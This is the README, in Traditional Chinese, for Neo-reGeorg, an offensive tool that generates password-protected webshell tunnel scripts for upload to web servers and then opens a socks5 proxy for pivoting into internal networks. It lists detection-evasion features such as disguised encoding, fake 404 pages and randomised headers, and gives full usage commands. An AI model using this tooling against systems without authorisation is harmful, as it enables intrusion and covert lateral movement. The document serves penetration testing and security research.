Neo-reGeorg
Neo-reGeorg 是一個旨在積極重構 reGeorg 的項目,目的是:
- 提高 tunnel 連接安全性
- 提高可用性,避免特征檢測
- 提高傳輸內容保密性
- 應對更多的網絡環境場景
此工具僅限於安全研究和教學,用戶承擔因使用此工具而導致的所有法律和相關責任! 作者不承擔任何法律和相關責任!
Version
3.0.0 - 版本修改日志
Features
- 傳輸內容經過變形 base64 加密,偽裝成 base64 編碼
- 直接請求響應可定制化 (如偽裝的404頁面)
- HTTP Headers 的指令隨機生成,避免特征檢測
- HTTP Headers 可定制化
- 自定義 HTTP 響應碼
- 多 URL 隨機請求
- 服務端 DNS 解析
- 兼容 python2 / python3
- 服務端環境的高兼容性
- (僅 php) 參考 pivotnacci 實現單 Session 創建多 TCP 連接,應對部分負載均衡場景
- aspx/ashx/jsp/jspx 已不再依賴 Session,可在無 Cookie 等惡劣環境正常運行
- 支持內網轉發,應對負載均衡環境
Dependencies
- [requests] - https://github.com/kennethreitz/requests
Basic Usage
- Step 1. 設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 並上傳到WEB服務器
$ python neoreg.py generate -k password [+] Create neoreg server files: => neoreg_servers/tunnel.jspx => neoreg_servers/tunnel_compatibility.jspx => neoreg_servers/tunnel.php => neoreg_servers/tunnel.ashx => neoreg_servers/tunnel.aspx => neoreg_servers/tunnel.jsp => neoreg_servers/tunnel_compatibility.jsp
- Step 2. 使用 neoreg.py 連接 WEB 服務器,在本地建立 socks5 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php +------------------------------------------------------------------------+ Log Level set to [DEBUG] Starting socks server [127.0.0.1:1080] Tunnel at: http://xx/tunnel.php +------------------------------------------------------------------------+
注意,如果你的工具,如 nmap 不支持 socks5 代理設置,請使用 proxychains 等
Advanced Usage
- 支持生成的服務端,默認直接請求響應指定的頁面內容 (如偽裝的 404 頁面)
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404 $ python neoreg.py -k <you_password> -u <server_url> --skip
- 如服務端 WEB,需要設置代理才能訪問
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
- 如需 Authorization 認證和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
- 需要分散請求,可上傳到多個路徑上,如內存馬
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
- 開啟內網轉發,應對負載均衡
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
- 使用端口轉發功能,非啟動 socks5 服務 ( 127.0.0.1:1080 -> ip:port )
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
- 更多關於性能和穩定性的參數設置參考 -h 幫助信息
# 生成服務端腳本
$ python neoreg.py generate -h usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes] Generate neoreg webshell optional arguments: -h, --help show this help message and exit -k KEY, --key KEY Specify connection key. -o DIR, --outdir DIR Output directory. -f FILE, --file FILE Camouflage html page file -c CODE, --httpcode CODE Specify HTTP response code. (default: 200) --read-buff Bytes Remote read buffer. (default: 513) # 連接服務端 $ python neoreg.py -h usage: neoreg.py [-h] -u URI [-r URL] [-t IP:PORT] -k KEY [-l IP] [-p PORT] [-s] [-H LINE] [-c LINE] [-x LINE] [--local-dns] [--read-buff Bytes] [--read-interval MS] [--write-interval MS] [--max-threads N] [-v] Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k (debug_all|debug_base64|debug_headers_key|debug_headers_values) optional arguments: -h, --help show this help message and exit -u URI, --url URI The url containing the tunnel script -r URL, --redirect-url URL Intranet forwarding the designated server (only jsp(x)) -t IP:PORT, --target IP:PORT Network forwarding Target, After setting this 